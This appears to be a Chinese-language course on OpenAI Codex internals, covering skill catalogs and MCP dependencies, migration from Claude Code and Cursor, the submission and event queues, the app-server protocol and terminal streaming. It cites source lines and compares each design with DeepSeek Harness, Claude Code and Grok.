思路三 · 目录常在,点名再给正文
它解决什么问题

若按 MCP 存活过滤目录,冷启动那几秒模型会以为 skill 不存在,下一轮又突然出现。说明书整份灌进每一轮,上下文也会被吃光。

思路是什么

点名记号是 $。目录只看 enabledprompt_visible。用户点了名,或者任务和描述对得上,这一轮才读 SKILL.md 正文。Guardian 评审会话直接返回空注入,父 transcript 里的 $skill 不能再触发新说明书。

出处:codex-rs/skills/src/mentions.rs 第 41 行;codex-rs/ext/skills/src/catalog.rs 第 261 至 263 行;codex-rs/core/src/session/turn.rs 第 766 至 770 行;codex-rs/core/src/session/turn.rs 第 808 至 817 行

缺 MCP 时另问人。first-party 且功能开关开,才弹出 Install MCP servers。审批是 Never 就静默跳过。用户选 Continue anyway,目录还在,对应工具可能仍不可用。

出处:codex-rs/core/src/mcp_skill_dependencies.rs 第 47 至 60 行;codex-rs/core/src/mcp_skill_dependencies.rs 第 268 至 270 行

为什么长期成立

发现和就绪是两件事。索引先给,全文按需再给,缺依赖问人,不要把条目从目录里抹掉。装不装是配置变更,列不列是发现。

横向对比 · 同一道题的另一种答法

DSH:只桥 tools,一条插件对一台 server

DSH 的 MCP 客户端把范围写死:连一台外部 server,工具注册到 ctx.tools,公开名是 mcp__<serverName>__<rawName>。干净情况原样拼接。字符或长度被改过,就在末尾加 12 位 SHA-256。上限 64 字符。卸载就断连、注销、放命名空间。

出处:packages/mcp/mcp-client/src/index.ts 第 1 至 14 行;packages/mcp/mcp-client/src/tools.ts 第 96 至 102 行

没有 elicitation,也不把自己交出去当 MCP server。外部工具失败仍按普通 tool 失败处理。哈希长度碰巧也是 12,算法和拼接规则不同。

已核对源码 · 2026-08-22 · DSH · MCP 与扩展

Claude Code:skill 是一等 tool

Claude Code 给模型一个 Skill tool。模型 call 才拿正文。注释写明同一时间只跑一个 skill,因为 tool 会把命令展开成整份 prompt。

出处:restored-src/src/tools/SkillTool/SkillTool.ts 第 331 至 344 行

MCP 上的 prompt 要标成 loadedFrom === 'mcp'type === 'prompt',才进发现列表。方向相反:Codex 是 skill 需要 MCP,Claude Code 是 MCP 贡献 skill。触发器也不同。Codex 扫 $name,命中就注入 <skill>,不经过一次 tool call。

出处:restored-src/src/tools/SkillTool/SkillTool.ts 第 81 至 94 行

已核对源码 · 2026-08-22
课堂练习
01

清洗之后谁还认得这家店

basic-serverlookupbasic_serverquery。写出模型看见的两个命名空间,并说明调回去时凭什么还能进对的店。

再问一问:把审批改成 Never,打 $deploy 的时候,skill 目录还在不在。观察点在 is_model_visibleshould_install_mcp_dependencies

Takeaway:对外只交两个入口,对内另做外部目录。模型看见的是翻译过的名字,撞了就哈希,原名留给协议。skill 目录常在,点名再给正文,缺 MCP 另问人。
OpenAI Codex · 插件市场

搬家只搬对得上的字段

换到 Codex 的第一周,最怕去年攒的 hook、MCP 和插件还在不在。检测会列出一份清单。导入只收下能映射的那一部分。

课程目标读完能说清三件事。搬家源只有 Claude Code 和 Cursor。每条字段走原样搬走、改写、丢掉三条出口之一。插件只从用户级装,远程市场和会话要等后台。
先玩一遍 · 逐字段看搬走还是丢掉
一份家当过白名单:原样、改写、搬不了
memory
会话
点卡片可移出家当。切源、开关或会话年龄会重跑。Cursor 不支持 memory,仓库里的插件会被丢掉。
检测 映射 重写 导入
原样 0 改写 0 搬不了 0 后台 0
源字段
Codex 落点
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 按字符串选择 Cla 或 Cur,对不上就落到 Claude Codemigration_source.rs L59
  2. 先扫用户级配置,仓库范围不跑插件检测detect/mod.rs L330
  3. 会话按 30 天和 50 条过滤,太旧的丢掉sessions/common.rs L43
  4. memory 要源支持,还要单独打开特性开关detect/mod.rs L59
  5. hook 只留同步 command,prompt 整条跳过hooks_cla.rs L135
  6. MCP 命令里出现 ${,整台 server 不要mcp.rs L208
  7. 市场来源只收 git 家族和本地目录,npm 丢掉source_cla.rs L270
  8. 说明文件改名,产品名按词边界改写成 Codexrewrite.rs L39
  9. 同步 import 对 Sessions 直接返回成功service.rs L437
  10. 后台再写 thread,远程插件后装;开关关则拒绝 memoryprocessor.rs L184
点播放,看每条字段走原样搬走、改写,还是丢掉。
三条出口对得上的字段走拷或改。prompt hook、npm 市场、带占位符的 MCP,不会出现在成功清单里。
插件只从 home 装仓库里的启用名单不能当安装权威。远程市场推进待装队列,不在同步阶段装完。
同步先回执会话可以出现在检测清单里。同步 import 什么都不写,thread 留给后台。
教学示意:家当为课程化样例,hook 与 MCP 只用无害命令。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 三条出口:原样、改写、丢掉
它解决什么问题

有人告诉你会自动从 Claude Code 搬家。你以为是把整个配置目录拷过来。第二天 hook 少了一条,MCP 少了一台,memory 没出现在清单里。少掉的 hook 用了 type: prompt。少掉的 MCP 命令里写了 ${API_KEY}

再换一个同事。他用的是 Cursor。Codex 能看见他的 skill 和 hook,看不见他的 memory。仓库里的 Cursor 插件配置会被直接丢掉。

思路是什么

搬家 crate 只负责把外部配置读进来。插件怎么跑,在旁边的 core-plugins。源在类型上只有两个变体:Cla 是 Claude Code,Cur 是 Cursor。字符串对不上 cursor,就落到 Claude Code。调用方漏传源,检测会去翻 ~/.claude

出处:codex-rs/external-agent-migration/src/migration_source.rs 第 51 至 67 行

一次检测最多产出十种条目。每种后面的导入必须给一个去处。字段先过白名单。Codex 认 11 个 hook 事件,Claude Code 发出 27 个。名字对不上的组,整组消失。单条 hook 的 type 默认当 command,对不上就跳过。MCP 的 command 或 url 里出现 ${,整台不要。市场来源只收 github、git、本地目录。fileurlnpmsettings 直接丢掉。

出处:codex-rs/external-agent-migration/src/model.rs 第 53 至 64 行 · codex-rs/hooks/src/lib.rs 第 23 至 35 行 · restored-src/src/entrypoints/sdk/coreSchemas.ts 第 355 至 383 行 · codex-rs/external-agent-migration/src/hooks_cla.rs 第 131 至 137 行 · codex-rs/external-agent-migration/src/mcp.rs 第 204 至 210 行 · codex-rs/external-agent-migration/src/source_cla.rs 第 270 至 274 行

然后说明文件要改名。CLAUDE.md 变成 AGENTS.md。产品名按词边界改成 Codex。Cursor 只用大小写敏感的 Cursor,避免把普通英文 cursor 一起改掉。

出处:codex-rs/external-agent-migration/src/rewrite.rs 第 38 至 49 行

源字段 hook / MCP / 市场 白名单 名字、类型、来源 原样搬走 同步 command hook 改写 CLAUDE.md 改名,MCP 改成 TOML 丢掉 prompt hook、npm 市场、${} MCP 输入是一条竞品字段。发生的是白名单判定。输出是拷、改、丢之一。
教学化结构图:搬家不是整目录拷贝,每条字段单独走出口。
为什么长期成立

导入器的通用形状是白名单加三条出口。对不上的字段丢掉,不要改写成近似物。prompt hook 不会被塞进 command。带占位符的 MCP 不会被瞎展开。换个语言重写,这份表还用得上。

思路二 · 插件只从用户级装,慢活进后台
它解决什么问题

Claude Code 允许仓库 settings 带着启用插件名单,同事克隆之后自动有同一批插件。对 Codex 来说,仓库里的启用名单不能当安装权威。装上去会进用户配置。不可信仓库想在你机器上装可执行内容,这条路要先切断。

思路是什么

检测只在 home 扫插件。注释写死了:仓库控制的 settings 不能当安装权威。Cursor 只要看见仓库根,插件检测直接返回空。导入看见非空工作目录,报 repository-scoped plugin migration is not allowed

出处:codex-rs/external-agent-migration/src/detect/mod.rs 第 330 至 332 行 · codex-rs/external-agent-migration/src/migration_source.rs 第 116 至 125 行 · codex-rs/external-agent-migration/src/plugins.rs 第 26 至 36 行

本地插件当场装。远程市场推进待装队列。会话也是两截:检测清单里可以有,同步 import()Sessions 直接返回成功,什么都不写。真正写成 Codex thread 的,是 app-server 里的后台任务。调用方先拿到 import_id

出处:codex-rs/external-agent-migration/src/service.rs 第 437 行 · codex-rs/app-server/src/external_agent_migration/session_importer.rs 第 100 至 111 行

Codex 认市场清单时,按固定相对路径找第一个存在的文件。四条路径里两条是自己的,两条是竞品的。同一套查找同时服务「用户主动加市场」和「从竞品搬市场」。

出处:codex-rs/core-plugins/src/marketplace.rs 第 20 至 25 行

检测 home 加仓库 同步导入 配置、hook、本地插件 import_id 先回一张收据 后台写 thread Sessions 同步是空操作 后台装远程插件 git clone 可能要几十秒 输入是检测清单。发生的是能立刻落盘的先做完。输出是收据加后台任务。
教学化时序图:同步阶段承认「看见了」,慢活留给后台。
为什么长期成立

可执行内容的安装权威必须落在用户级。面向任意 git clone 的产品,home-only 更稳。同步先回执、慢活进后台,是长任务接口的通用形状。

思路三 · 目标非空不覆盖
它解决什么问题

换产品最怕把已经改过的新配置盖掉。目标 hooks.json 里已经有内容,整文件替换会把用户手写的 hook 冲掉。

思路是什么

目标 hook 文件非空,整项取消。已有 config.toml 只补缺失键。MCP 同名 server 保留旧的。第一次搬家像填空。第二次再点迁移,多数条目会因为已经有了而不出现。

出处:codex-rs/external-agent-migration/src/hooks_common.rs 第 13 至 19 行

memory 另有一道门。特性开关默认关,阶段是 UnderDevelopment。检测函数不看这个开关,导入前处理器会查。关着就回 external agent memory import is disabled。导入按字节拷贝,不脱敏。

出处:codex-rs/features/src/lib.rs 第 998 至 1003 行 · codex-rs/app-server/src/external_agent_migration/processor.rs 第 180 至 185 行

对得上的字段走拷或改,对不上的丢掉。
为什么长期成立

导入是填空。用户已经写过的文件,搬家碰不得。memory 默认关,是因为另一家 agent 的项目记忆会按明文进盘。

横向对比 · 同一批扩展,要不要读进来

DeepSeek Harness:不搬家,再装一次

DSH 的插件入口是 thin pnpm forwarder。初始化 profile,在 profile 目录里跑 pnpm,再按安装结果调和清单。插件是 npm 包。没有检测 Claude Code,没有导入 Cursor hook。换产品要自己重装。代价是用户税。好处是不用对一家不断加字段的 settings schema 做永久兼容。

已核对 apps/cli/src/plugin.ts 第 120 至 133 行 · 2026-08-22

Grok:自建市场,不搬竞品

Grok 从市场根加相对路径拷进自己的安装登记,并写下 provenance。相对路径禁止 ..、绝对路径和盘符。没有 plugin.json 但根上有 SKILL.md 时,它会补一份合成清单。市场对象是一份自己的目录加来源记录。它不读用户在另一家里启用过的插件。

已核对 crates/codegen/xai-grok-plugin-marketplace/src/installer.rs 第 36 至 45 行 · 2026-08-22 · Grok · 插件市场的发现与信任
课堂练习
01

哪些字段会进清单

桌上有四条 Claude Code 资产:PreToolUsetype: command hook、同事件的 type: prompt hook、一台 command 含 ${API_KEY} 的 MCP、一条 40 天前的会话。对照上面的白名单,列出检测清单里应出现和不应出现的条目。

再补一问:调用方何时收到 import_id,这条会话何时变成 thread。开关关着的 memory 若被送去导入,会在哪一扇门被挡回来。

Takeaway:搬家是检测加映射加重写。对得上的字段走拷或改,对不上的丢掉。插件只从用户级装,会话和远程市场进后台。目标非空不覆盖。
OpenAI Codex · 事件语言

SQ 进、EQ 出:同一件事两副面孔

命令走进程内的 Submission Queue。事件走能写成 JSON 的 Event Queue。Rust 名叫 TurnStarted,磁盘上仍写 task_started。

课程目标读完能说清三件事。命令从 Submission Queue 进内核,事件从 Event Queue 出来。同一条生命周期,代码里叫 TurnStarted,写到 JSON 上却是 task_started。旧客户端碰到不认识的 type,同进程编不过,跨版本 JSON 解不出,resume 旧文件则跳行继续开。
先玩一遍 · 同一件事,进和出各长什么样
投入 TurnInput,看 SQ 信封和 EQ 盒子怎么对上
盖子上的 type
前两个都能解成 TurnStarted。第三个看 MCP 摔碎、resume 跳行。回车生效。
下行 · Submission Queuebounded 0/512
还没投入命令
Submission 信封等投稿。只有 id 和 op,没有 JSON。
上行 · Event Queueunbounded · 0
事件还没出来先走左边的命令通道。
MCP 原样门等事件
resume 跳行门等落盘
对照出口DSH / Grok 还没上场
逻辑轨迹 · 动画每一步对应源码里的哪一段
  1. 生成 UUID7 作为提交 idsession/mod.rs L918
  2. 把 Op 包成 Submissionsession/mod.rs L817
  3. 送进容量 512 的 SQsession/mod.rs L833
  4. submission_loop 按变体分发handlers.rs L526
  5. send_event 用 sub_id 做 Event.idsession/mod.rs L1952
  6. 需要时再发 legacy 副本session/mod.rs L1965
  7. 按白名单决定是否写入 rolloutsession/mod.rs L2169
  8. 送进 unbounded EQsession/mod.rs L2185
  9. MCP 把整个 Event 序列化成 codex/eventoutgoing_message.rs L117
  10. resume 时坏行计入 parse_errorsrecorder.rs L1046
点播放,看同一句话从 SQ 进、从 EQ 出,两边各长什么样。
进的形状左边是进程内命令。TurnInput 带着 oneshot 回调,所以整封 Submission 不做 serde。
出的形状右边是能写成 JSON 的 Event。id 对上左边那条提交,盖子上的 type 才是对外词。
切到 future_eventMCP 解不出来。resume 把这一行丢进 parse_errors,会话照开。DSH 会拒绝整份日志,Grok 收成 Unknown。
教学示意:提交 id 为课程化短号,真实实现是 UUID7。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
思路一 · 命令和事件拆成两种语言
它解决什么问题

你给侧栏等 type 等于 turn_started。联调那天字段对得上,type 却写成 task_started。你改成新名,旧夹具里的旧名还能解出来。

然后你加了一个自己的事件。本地和内核一起编,过了。隔壁旧版 MCP 客户端解不出来。再过一周,新版写下的 rollout(会话落盘文件)拿到旧版里 resume。那一行被跳过,parse_errors 加一,会话还能开,少了一段生命周期。

命令里带着 oneshot 回调、审批决定,甚至 realtime 音频帧。事件要进 rollout,要被 MCP 写成 JSON,要被旧客户端按 type 分发。方向、寿命、能不能过网,叠在同一种「消息」上会互相拖累。

思路是什么

模块头只用四行,把说话方式写死:一次会话里,客户端和 agent 用 SQ / EQ 异步通信。

codex-rs/protocol/src/protocol.rs第 1 至 4 行
//! Defines the protocol for a Codex session between a client and an agent.
//!
//! Uses a SQ (Submission Queue) / EQ (Event Queue) pattern to asynchronously communicate
//! between user and agent.
源码快照说明:依据本地仓库 openai/codex,核对文件 codex-rs/protocol/src/protocol.rs,commit 4f39251a01,核对日期 2026-08-22。代码块保留源码原文,这四行就是整课的模式声明。

下行条目是 Submission。它有关联用的 id,有要执行的 Op(内核动词,当前 28 个),只派生 Debug,没有 serde。上行条目是 Event。它有 serde。id 对上当初那条提交,msg 才是事件本体。

出处:codex-rs/protocol/src/protocol.rs 第 185 至 200 行;codex-rs/protocol/src/protocol.rs 第 1276 至 1283 行

会话启动时同时建两条通道。下行 bounded,容量 512。上行 unbounded。客户端连打 512 条还没被 loop 收走,下一次 send 会等。事件可以堆积,占内存,不反压这一轮。

出处:codex-rs/core/src/session/mod.rs 第 460 至 461 行;codex-rs/core/src/session/mod.rs 第 533 至 534 行

客户端 submit Op SQ 512 submission_loop 按 Op 变体分发 send_event Event Queue unbounded 客户端 next_event 同一条 UUID7:左边是 Submission.id,右边是 Event.id
教学化结构图:命令从左边进,事件从右边出,用同一条 id 对上。

TurnInput 的路由结果走 oneshot,不走 Event Queue。EventMsg 描述这一轮发生了什么。oneshot 只回答「这条提交有没有被接住」。

出处:codex-rs/core/src/session/handlers.rs 第 515 至 526 行

为什么长期成立

命令是人发的,频率低,堵住可以反压。事件是模型和工具喷出来的,堵住会把这一轮卡住。换语言重写,只要命令带回调、事件要落盘,这两条队列还是得分开。

思路二 · wire 名保住磁盘,代码名可以改
它解决什么问题

Rust 变体已经改名叫 TurnStarted。若 JSON 上的字符串跟着改,旧 rollout 和旧客户端会在反序列化边界上断。按标识符名猜 wire 名,会猜错。

思路是什么

serde 写出 task_started,读入时也认 turn_started。Display 和指标走 turn_started。同一变体两套字符串:磁盘保住旧名,代码用新名。

出处:codex-rs/protocol/src/protocol.rs 第 1337 至 1340 行

item 生命周期还会再喷一份旧名字。新前端看 ItemStarted,旧前端看 ExecCommandBeginAgentMessage。队列上会出现重复语义。这是迁移动线,给还没迁到 TurnItem 的消费者留的。

出处:codex-rs/core/src/session/mod.rs 第 1965 至 1973 行;codex-rs/protocol/src/legacy_events.rs 第 65 至 69 行

TurnStarted Rust 变体名 serde 写出 Display task_started 磁盘与 MCP 看到的 turn_started 指标与 alias 读入 旧 rollout 仍能解 新名只是读入别名
教学化对照:改标识符不必改磁盘。代价是同一变体要同时记住两套字符串。
改代码名,先用 rename 保住已经落盘的字符串。
为什么长期成立

标识符可以改,已经落盘的字符串改不起。rename 加 alias 是给磁盘留后门的通用做法。指标用哪一套,要单独测,不要假设和 serde 相同。

思路三 · 未知 type 的默认方向要先写下来
它解决什么问题

EventMsg 是内部事件词表,81 个变体,没有 #[serde(other)],也没标 non_exhaustive。加一个新 type,旧读取器怎么办,不能靠「看情况」。

思路是什么

三条路径,答案都写在代码里。

同进程、同版本

TUI、exec、MCP 和内核链到同一份类型。穷尽 match 编不过。旧客户端若还没升级,根本不会和这份新内核链在一起。

跨版本 JSON

MCP 把整个 Event 序列化成 codex/event。旧客户端用旧词表去解,未知 type 让 serde 失败。内核已经发出去了,失败发生在客户端。

resume 旧文件

坏行把 parse_errors 加一,然后 continue。未知 type 不会让整个会话打不开。它会少一行。函数仍返回已经解出来的 items。

出处:codex-rs/mcp-server/src/outgoing_message.rs 第 108 至 133 行;codex-rs/rollout/src/recorder.rs 第 1009 至 1071 行

Op 反过来。它标了 non_exhaustivesubmission_loop 末尾 _ => false,未知命令被丢掉,loop 不崩。事件是对外词表,漏一个变体要在编译期被看见。命令面向内部扩展,丢掉比崩掉更安全。

出处:codex-rs/core/src/session/handlers.rs 第 684 行

未知 type 同进程:穷尽 match 编不过 跨版本 JSON:serde 失败 resume:跳行,parse_errors 加一 会话仍开,少一行
教学化路径图:同一份未知事件,编译期、JSON 边界、落盘恢复各有一个落点。
为什么长期成立

词表会变。先决定未知 type 的默认方向:拒绝打开、跳过坏行,或收成 Unknown。三条都能抄,不要让三条路径各做一套却不写下来。真源事件和通知流可以给不同默认值,但要写在信封上。

横向对比 · 不认识的 type 怎么办

DSH:未知且未标 ignorable 就拒绝

DSH 把事件日志当成真源。信封上有一个 ignorable?: true。缺这个标记时,读取器碰到不认识的 type 必须拒绝重建,不能悄悄丢掉。忘了打标记,结果是过分拒绝,比静默恢复一份被掏空的会话更安全。

代价很清楚:旧 harness 打不开新日志。换来的是「能打开就完整」。Codex 的 EventMsg 已经 81 个,还要给 exec 输出和审批发瞬时事件,这些东西若全部成为真源,JSONL 会按 token 涨。

已核对源码 · 2026-08-22 · DSH · 日志重建不变量 · packages/core/session/src/types.ts 第 404 至 422 行

Grok:未知收成 Unknown,必须静默忽略

Grok 的会话事件协议只有 6 个变体。Unknown#[serde(other)]。模块头写明:旧消费者碰到新的 event_type,解成 Unknown,不要失败。消费者必须静默忽略。原始类型名不会被保留。

适合通知流。通知丢了,会话还能靠别的状态活。Codex 的 TurnStarted 是 rollout 截断边界,真源事件不能静默丢。resume 路径选择跳过坏行,比 Grok 更接近「打开」,比 DSH 更接近「尽量打开」。

已核对源码 · 2026-08-22 · crates/common/xai-tool-protocol/src/session_event.rs 第 11 至 65 行
课堂练习
01

三行 JSON,四个出口

准备三行,type 分别是 task_startedturn_startedfuture_event。推演 MCP 原样解、Codex resume、DSH、Grok 各自怎样。哪一行会让 MCP 失败,哪一行会让 DSH 拒绝整份日志,哪两行在 Codex 里其实是同一个变体。

进阶一问:若把 TurnStarted 的 serde 改成只保留 rename = "turn_started",旧 rollout 会在哪一条边界上断。

Takeaway:命令通道和事件通道分开,命令可以带回调,事件必须能写成 JSON。wire 名和代码名分开写,改标识符时用 rename 保住磁盘。未知 type 先选一条默认方向:拒绝、跳行,或收成 Unknown。
OpenAI Codex · 对外协议

对外协议是投影

IDE 看见的是 Thread / Turn / Item,不是内核 EventMsg。一次 turn/start 先回响应,再推事件流;审批是反向请求,不回包这一轮就停住。

课程目标读完能说清三件事:对外协议是投影,内核事件会改名、丢掉或拆开之后才上线;turn/start 的回包只表示请求被接受,真正开跑看 turn/started;Python SDK 和 TypeScript SDK 走的不是同一条协议面。
先玩一遍 · 一次请求怎么往返
同一句话送进三种入口:看请求、事件流、响应怎么排
入口
这句话会写进 turn/start 的 params。回车即播放。
当前阶段:还没发出请求。
请求客户端发出,带 id 的等人回包
事件流服务端推送,没有 id
响应对得上请求 id 的回包
逻辑轨迹 · 动画每一步对应源码里的哪一段
    点播放,看同一句话在三种入口里怎么走完请求、事件流和响应。
    回包不是开跑turn/start 的响应立刻回来,只表示请求被接受。真正开始转圈,要等后面那条 turn/started 通知。
    审批是反向请求app-server 面上,命令审批以 ServerRequest 出现,客户端必须回包。TS exec 这条路上没有这套回函,人不在 JSONL 环里。
    载体可以换,合同尽量不换Python 走 stdio,TUI 走内存通道,消息形状仍是同一套斜杠加 camelCase。TS SDK 走的是另一条更窄的点号事件面。
    教学示意:消息条数与时机按协议形状编排,用于看清三路时序。逻辑轨迹右侧行号对应 openai/codex 仓库 commit 4f39251a01。
    思路一 · 对外协议是投影
    它解决什么问题

    你在给编辑器写插件。调试器里已经能看到内核往外抛事件:turn_startedexec_command_begin,字段是 snake_case。第一包数据过来,对不上。方法名是 turn/started,中间是斜杠。字段是 threadIdstartedAt

    命令开始时你等的 exec_command_begin 没出现,来的是 item/started,里面塞着一个 type: "commandExecution" 的 item。审批更怪:服务端反向发来一条 request,你得回 response,否则这一轮卡在那儿。

    如果编辑器按 81 种 EventMsg 写 switch,每加一种内部事件都是一次客户端升级。deprecated 别名也会从仓内兼容问题变成对外合同。

    思路是什么

    调度函数 apply_bespoke_event_handling 吃一条内核 Event,按四条规则收成对外消息。

    1. 改名

    EventMsg 的 snake_case type 变成 turn/starteditem/agentMessage/delta 这种资源路径,字段改成 camelCase。

    2. 换容器

    delta 和工具生命周期被收进 ThreadItem,再塞进 item/starteditem/completed。IDE 按 item 的 type 画卡片。

    3. 丢掉

    ExecCommandBeginViewImageToolCall、以及 match 末尾的通配臂,线上没有对应通知。旧事件还在给 rollout 扇出。

    4. 拆开

    一条 ItemStarted(DynamicToolCall) 既发通知,又发 item/tool/call 这条 ServerRequest,等客户端执行。

    出处:codex-rs/app-server/src/bespoke_event_handling.rs 第 159 至 188 行;codex-rs/app-server/src/bespoke_event_handling.rs 第 880 至 918 行;codex-rs/app-server/src/bespoke_event_handling.rs 第 996 至 1036 行

    item_event_to_server_notification 只覆盖一对一、无状态的投影。函数名像总入口,调用点才知道它是助手。ExecCommandBegin 在助手里还能变成 item/started,在调度里却走进 deprecated 空分支。现场命令卡片来自后面的 ItemStarted。以调度为准。

    出处:codex-rs/app-server-protocol/src/protocol/event_mapping.rs 第 25 至 37 行;codex-rs/app-server-protocol/src/protocol/item_builders.rs 第 1 至 11 行

    EventMsg 内核 81 个变体 调度函数 改名 / 丢掉 / 拆开 通配臂默认吞掉 通知 turn/started 通知 + 反向 request 丢掉,线上什么都没有 输入是内核事件,输出是 IDE 画卡片用的 Thread / Turn / Item
    教学化结构图:同一条 EventMsg,柜台决定留下、改名、丢掉还是拆成通知加回函。
    为什么长期成立

    内核按发生了什么命名,对外按用户看见什么命名。内部还可以继续发 deprecated 事件给 rollout,调度写一句注释丢掉即可。换语言重写,这张表还在:左边内部 type,右边写清留下、改名、丢掉还是拆开。

    未知行必须失败。空默认等于通配臂,新事件能通过编译,IDE 的 stdout 上什么都没有。

    出处:codex-rs/app-server/src/bespoke_event_handling.rs 第 1238 至 1245 行

    思路二 · 请求立刻回,事件随后到
    它解决什么问题

    同事把 turn/start 的响应当成一轮已经开始。响应立刻回来,里面是一份空 items 的 turn。模型还没开口。真正开跑是后面那条 turn/started 通知。

    出处:codex-rs/app-server/README.md 第 81 至 81 行

    审批做成普通 notification,客户端可以不理。turn 会停在等待上,直到超时或中断。

    思路是什么

    线上能解出来的对象只有四种:带 id 的 request、不带 id 的 notification、成功 response、错误 response。看起来像 JSON-RPC,结构体里没有 jsonrpc 字段。常量 JSONRPC_VERSION 还在,线上不带这个键。

    出处:codex-rs/app-server-protocol/src/rpc.rs 第 1 至 11 行;codex-rs/app-server-protocol/src/rpc.rs 第 34 至 72 行

    对外消息是四套,而且不对称。

    1. ClientRequest:客户端问,等人回包。initializeturn/start 是稳定面主干。

    2. ServerNotification:服务端推,不等回包。turn/starteditem/started 在这里。

    3. ServerRequest:服务端问人。第一条稳定方法是 item/commandExecution/requestApproval

    4. ClientNotification:展开之后只有 Initialized

    出处:codex-rs/app-server-protocol/src/protocol/common.rs 第 1663 至 1670 行;codex-rs/app-server-protocol/src/protocol/common.rs 第 1954 至 1956 行

    时间从左到右 turn/start 请求 立刻回 turn 对象 items 仍是空的 turn/started 通知 内核真的开始跑 随后是 item/started 与 delta 反向审批 request 客户端回包 通知没有 id。反向请求有 id,不回包这一轮就停住
    教学化时序图:回包、通知、反向请求是三件不同的事,落在三个不同的时刻。
    回包只表示请求被接受,开跑看通知。
    为什么长期成立

    请求要回执,通知是广播,反向请求把人拉进环。这三件事混成一种,编辑器要么空转等开跑,要么漏画审批按钮。id 对得上,过载时还能把 request 失败回给调用方,避免审批悬挂。

    思路三 · 实验面一次握手,进程内也不另造合同
    它解决什么问题

    实验方法有 57 个方法级标记。如果靠第二端口,稳定客户和冒险客户要连两个地方。TUI 如果因为同进程就改收 EventMsg,现场通知和远端 IDE 会各写一份 item。

    思路是什么

    实验面靠 initialize 时一个布尔 experimentalApi,缺省 false。再 initialize 会收到 Already initialized。没开开关就打 server/diagnostics,错误码 -32600,句子是固定的 server/diagnostics requires experimentalApi capability。Python SDK 把这个默认改成 True,官方脚本已经站在实验合同上。

    出处:codex-rs/app-server/src/message_processor.rs 第 891 至 895 行;sdk/python/src/openai_codex/client.py 第 209 至 209 行

    TUI 不直连 core。内嵌只换载体:socket 和 stdio 换成内存通道,MessageProcessor 还在。请求仍是 ClientRequest,响应仍走同一套 envelope。进程内是 transport-local,不是 protocol-free。

    出处:codex-rs/app-server/src/in_process.rs 第 1 至 24 行

    TypeScript SDK 不走这条路。它拼的是 exec --experimental-json,事件 type 是点号,字段是 snake_case,完整枚举只有 8 个变体。没有 initialize,没有审批 request。能力差在协议面,不差在语言。

    出处:sdk/typescript/src/exec.ts 第 89 至 90 行;codex-rs/exec/src/exec_events.rs 第 8 至 37 行

    为什么长期成立

    远程和本机的差别应落在网络,不落在语义。实验面用 capability,比文档里写一句实验更硬。一个布尔把稳定面和实验面切开,schema 生成出两份,默认那份不含实验字段。

    横向对比 · 共用类型,还是投影类型

    DeepSeek Harness:内核类型就是协议类型

    DSH 五个入口共用同一棵插件树。headless 的入口配置把自己写成 composition base:负责拼插件,不另写一套事件类型。跨进程时 Typert 从 TypeScript 类型图生成 stub,@Remote('create') 返回的是 identity,不是另一套展示模型。

    改一个事件字段,五张脸一起变。收益是不会出现 Python 看见 thread/started、TypeScript 看见 thread.started 这种分裂。Codex 反过来,内部可以标 deprecated 继续扇给 rollout,对外合同按投影层冻结。漏改投影,客户也看不见,只是功能丢了。

    两侧均已核对源码 · 2026-08-22 · examples/headless-agent/cordis.yml 第 1 至 4 行 · packages/goal/goal/src/index.ts 第 579 至 589 行 · DSH · 一个内核,五张面孔

    Claude Code:入口标记,没有第二协议面

    还原源码里能找到的是入口判断:CLAUDE_CODE_ENTRYPOINT === 'claude-vscode' 时返回 claude-vscode。没有对位的对外 IDE 协议 crate。扩展靠 MCP 和进程入口嵌进来,第三方 IDE 没有一份带 schema 的双向 RPC 可以对。

    Codex 付了投影层的维护成本,换来 VS Code 扩展、Python SDK 和本机 TUI 共用同一份 v2。

    已核对源码 · 2026-08-22 · restored-src/src/main.tsx 第 823 至 823 行
    课堂练习
    01

    回包到了,该不该转圈

    turn/start 的响应已经回来,items 是空的。编辑器现在该转圈,还是该等 turn/started?如果内核新加一个 EventMsg 变体,投影没跟上,stdout 上会出现什么?

    进阶一问:同一轮对话里模型要跑一条需要提问的命令。Python 客户端可以弹窗并回包,TypeScript 的 Thread.run() 为什么做不到?

    Takeaway:对外协议是一张投影表,不是内核枚举的 JSON 导出。请求立刻回,事件随后到,审批是反向请求。两个官方 SDK 走的不是同一条协议面。
    OpenAI Codex · 终端界面

    流式输出怎么在终端两区之间定稿

    模型按 token 往外推,终端却是一个写出去就改不了的字符网格。已经不会变的行交给 scrollback,还可能变的尾巴留在活动 cell,表格没闭合之前整段扣住。

    课程目标读完能说清两件事:哪些行一旦写进终端 scrollback 就不可改;以及一张还没写完的 markdown 表,为什么必须扣在活动区,等到流结束才定稿。
    先玩一遍 · 哪些行已经锁死,表为什么还在抖
    同一段带表的短文,看它怎么在两区之间定稿
    表格扣留
    关掉后,表头按窄列先锁死,后面的长单元格改不了它。
    假终端 · 稳定区在上,尾巴在下 已定稿 0 尾巴 0 扫描 None
    稳定区提交即固化
    活动尾巴可变
    等待开始。
    输入框停在原处。
    逻辑轨迹 · 动画每一步对应源码里的哪一段
    1. 没有换行的 delta 不改可见尾巴streaming.rs L489
    2. 收集器等到换行才提交 sourcemarkdown_stream.rs L87
    3. 扫描器看上一行是不是表头table_holdback.rs L23
    4. 确认表之后从 header 起整段扣在尾巴controller.rs L384
    5. 散文行入队,等 tick 写进 scrollbackcontroller.rs L343
    6. tick 把稳定行写成 HistoryCellstreaming.rs L399
    7. insert_history 写进终端 scrollbackinsert_history.rs L3
    8. 流结束才把整张表一次定稿controller.rs L160
    点播放,看一段带表的短文怎么在稳定区和活动尾巴之间定稿。
    锁住的行散文进稳定区之后,列宽再变也碰不到它。
    扣住的表扣留打开时整张表在尾巴里一起重排。关掉后,表头按窄列锁死,长单元格只能另排。
    什么时候定稿流还在走,表就不能进 scrollback。finalize 之后整段一次提交。
    教学示意:短文与列宽为课程化设定。轨迹行号对应 openai/codex commit 4f39251a01。
    思路一 · 已经不会变的行,交给终端自己保管
    它解决什么问题

    你盯着终端看模型写答案。散文还好,一行一行往下长。接着它开始吐一张表:先出表头,再出分隔行,再出第一行数据。列宽每来一行就变一次。刚才对齐好的 Description 被挤到下一列,上一帧的竖线还印在屏幕上。

